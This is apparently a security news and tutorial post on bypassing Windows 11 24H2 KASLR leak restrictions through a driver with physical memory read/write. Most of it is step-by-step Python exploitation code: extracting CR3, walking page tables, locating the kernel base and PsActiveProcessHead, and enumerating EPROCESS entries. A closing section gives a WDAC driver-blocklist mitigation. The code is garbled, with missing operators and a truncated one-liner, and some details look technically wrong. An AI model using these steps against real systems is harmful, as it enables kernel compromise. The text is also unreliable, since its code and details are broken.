Listen to this Post
Introduction:
The recent Windows 11 24H2 update introduced significant kernel security enhancements, including restrictions on KASLR leaks from low-integrity processes. This article details a proven technique that circumvents these protections by exploiting a driver with physical memory read/write capabilities to retrieve critical kernel objects, demonstrating that advanced exploitation remains viable even on the latest systems.
Learning Objectives:
- Understand the mechanics of the KASLR leak restriction bypass in Windows 11 24H2.
- Learn how to leverage a driver vulnerability with physical memory R/W for kernel exploitation.
- Master the process of locating and traversing key kernel data structures like `nt!PsActiveProcessHead` from a low-integrity context.
You Should Know:
1. Extracting CR3 from the Low Stub
The CR3 register, which holds the physical address of the Page Map Level 4 (PML4) table, is the cornerstone of virtual-to-physical address translation. On x64 systems, it can be extracted from a predictable location in the low stub of the kernel.
`python -c “import struct; data = open(‘\\\\.\\physicalmemory’, ‘rb’).read(0x1000); cr3 = struct.unpack(‘
2. Translating Virtual Addresses to Physical Addresses
With CR3, you can manually walk the paging structures to translate a kernel virtual address to its corresponding physical address. This is essential for reading kernel data from a physical memory perspective.
`python
def virt_to_phys(cr3, virt_addr):
Define masks for PML4, PDPT, PD, and PT indexes and offsets
pml4_index = (virt_addr >> 39) & 0x1FF
pdpt_index = (virt_addr >> 30) & 0x1FF
pd_index = (virt_addr >> 21) & 0x1FF
pt_index = (virt_addr >> 12) & 0x1FF
offset = virt_addr & 0xFFF
Read PML4E
pml4e_addr = (cr3 & 0xFFFFFFFFFF000) + (pml4_index 8)
pml4e = read_phys_mem(pml4e_addr, 8) read_phys_mem is a function using the driver R/W
if not (pml4e & 1): return None Present bit check
Read PDPTE
pdpt_addr = (pml4e & 0xFFFFFFFFFF000) + (pdpt_index 8)
pdpte = read_phys_mem(pdpt_addr, 8)
if not (pdpte & 1): return None
if pdpte & 0x80: PS bit set for 1GB page
return (pdpte & 0xFFFFFC0000000) + (virt_addr & 0x3FFFFFFF)
Read PDE
pd_addr = (pdpte & 0xFFFFFFFFFF000) + (pd_index 8)
pde = read_phys_mem(pd_addr, 8)
if not (pde & 1): return None
if pde & 0x80: PS bit set for 2MB page
return (pde & 0xFFFFFFFE00000) + (virt_addr & 0x1FFFFF)
Read PTE
pt_addr = (pde & 0xFFFFFFFFFF000) + (pt_index 8)
pte = read_phys_mem(pt_addr, 8)
if not (pte & 1): return None
return (pte & 0xFFFFFFFFFF000) + offset
`
Step-by-step guide: This function performs a manual page table walk. It starts from the CR3 value, calculates the indexes into each level of the paging structure (PML4, PDPT, PD, PT), and reads the corresponding entries from physical memory. It checks the present bit at each step and handles large pages (1GB or 2MB). The final result is the physical address.
3. Locating the Kernel Base Address
The kernel base address is randomized by KASLR but can be found by scanning physical memory for its known signature, typically the “MZ” header and the “PE” magic bytes.
`python
def find_kernel_base(cr3, search_start=0xFFFFF78000000000):
Scan potential kernel address space
for scan_addr in range(search_start, search_start + 0x10000000, 0x1000):
phys_addr = virt_to_phys(cr3, scan_addr)
if not phys_addr: continue
data = read_phys_mem(phys_addr, 4)
if data == b’MZ\x90\x00′: DOS header signature
return scan_addr
return None
`
Step-by-step guide: This function scans a range of the virtual address space where the kernel is typically loaded (e.g., starting at 0xFFFFF78000000000). For each candidate address, it translates it to a physical address and checks the first four bytes for the “MZ” DOS header signature. Finding this signature confirms the kernel’s base virtual address.
- Finding Exported Kernel Routines for Data Structure Discovery
Kernel routines often contain hardcoded pointers to critical data structures. By disassembling an exported function, you can find these pointers. `nt!KeBalanceSetManager` is a common candidate for findingnt!PsActiveProcessHead.
`bash
Use a tool like `nm` on the kernel image (ntoskrnl.exe) to get the RVA of an exported function.
nm /path/to/ntoskrnl.exe | grep KeBalanceSetManager
Disassemble the function around the returned RVA to find instructions referencing PsActiveProcessHead.
objdump -d /path/to/ntoskrnl.exe –start-address=
`
Step-by-step guide: On a separate analysis machine, use tools like `nm` and `objdump` to analyze the kernel executable. Locate an exported function like `KeBalanceSetManager` and disassemble it. Look for an instruction like `lea rcx, [rip + offset]` that calculates the address of PsActiveProcessHead. The offset in this instruction is the key to calculating the address at runtime.
5. Calculating the Address of nt!PsActiveProcessHead
Once the offset within the exported routine is found during static analysis, you can calculate the address of the process list head dynamically.
`python
Assume we found the instruction `lea rcx, [rip + 0x12345678]` at virtual address `func_va`
rip_va = func_va + offset_of_instruction + 7 Instruction is 7 bytes long
target_va = rip_va + found_offset Calculate the address of PsActiveProcessHead
ps_active_process_head = read_phys_mem(virt_to_phys(cr3, target_va), 8) Read the pointer
`
Step-by-step guide: This code calculates the value of the RIP register for the instruction following the LEA (which is 7 bytes long on x64 for this opcode). It then adds the offset found during static analysis to this RIP value to get the virtual address where the `PsActiveProcessHead` pointer is stored. Finally, it reads that pointer from physical memory.
6. Traversing the Active Process List
The `nt!PsActiveProcessHead` list is a circular doubly-linked list of `_EPROCESS` structures. The `ActiveProcessLinks` field links each entry.
`python
def traverse_process_list(cr3, list_head_va):
current = read_phys_mem(virt_to_phys(cr3, list_head_va), 8) Read Flink of head
processes = []
while True:
Calculate the base address of the _EPROCESS structure (list head is inside the struct)
eprocess_base = current – OFFSET_ActiveProcessLinks OFFSET_ActiveProcessLinks is ~0x448
Read the Process ID (PID) from the _EPROCESS
pid = read_phys_mem(virt_to_phys(cr3, eprocess_base + OFFSET_UniqueProcessId), 8)
processes.append((eprocess_base, pid))
Move to the next entry
current = read_phys_mem(virt_to_phys(cr3, current), 8) Read Flink
if current == list_head_va: Break if we’re back at the head
break
return processes
`
Step-by-step guide: This function starts by reading the `Flink` pointer from the list head. For each entry, it calculates the base address of the containing `_EPROCESS` structure by subtracting the known offset of the `ActiveProcessLinks` field. It then reads the Process ID (PID) from a known offset within the _EPROCESS. It follows the `Flink` pointer to the next entry until it circles back to the list head, collecting all process objects.
7. Mitigating the Exploitation Technique: Driver Blocklisting
The core vulnerability is a driver offering unmitigated physical memory R/W. System administrators must aggressively blocklist known vulnerable drivers using Windows Defender Application Control (WDAC) or similar policies.
`powershell
PowerShell to create a WDAC policy denying a specific driver based on its hash.
New-CIPolicy -Level FilePublisher -FilePath C:\Path\To\MaliciousDriver.sys -Deny -UserPEs -PolicyName BlockMaliciousDriver.xml
ConvertFrom-CIPolicy -XmlFilePath .\BlockMaliciousDriver.xml -BinaryFilePath .\BlockMaliciousDriver.bin
Deploy the .bin file as a code integrity policy.
`
Step-by-step guide: This PowerShell sequence creates a new WDAC policy that denies execution of a specific driver file. The policy is based on the file publisher and hash for maximum specificity. The policy is then converted to a binary format and deployed, which requires a reboot to enforce. This proactively prevents the exploitation vector.
What Undercode Say:
- Kernel Exploitation is an Enduring Cat-and-Mouse Game. Microsoft’s 24H2 restrictions are a significant hurdle, but this POC proves they are not an insurmountable barrier for determined attackers with the right primitive (physical R/W).
- The Security Community Must Focus on the Root Cause. While Microsoft patched specific KASLR leak paths, the wider issue of drivers providing powerful, dangerous capabilities remains a critical attack surface that requires more robust mitigation, such as strict driver attestation and hypervisor-protected code integrity (HVCI) enforcement.
This analysis underscores a critical inflection point in Windows security. Microsoft is successfully raising the cost of exploitation by eliminating easy information leaks, forcing attackers to possess more powerful primitives from the start. However, the existence of such primitives, often in third-party drivers, represents a persistent weak link. The future of Windows kernel security will depend less on hiding kernel pointers and more on a holistic, zero-trust approach for the kernel itself, where all code, especially drivers, is subject to extreme scrutiny and minimal privilege.
Prediction:
The successful circumvention of KASLR restrictions in Windows 11 24H2 will accelerate two key trends. First, it will fuel a renewed focus by threat actors on discovering and weaponizing physical memory R/W primitives in lesser-known, often older, but still signed drivers, creating a lucrative market for such exploits. Second, it will force Microsoft to further isolate the kernel from driver influence, potentially leading to a default-enforced “Driver Isolation” feature similar to User Mode Driver Framework (UMDF) but for a wider range of kernel drivers, fundamentally changing the Windows driver model to mitigate this entire class of physical memory manipulation attacks.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Yazid Benjamaa – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
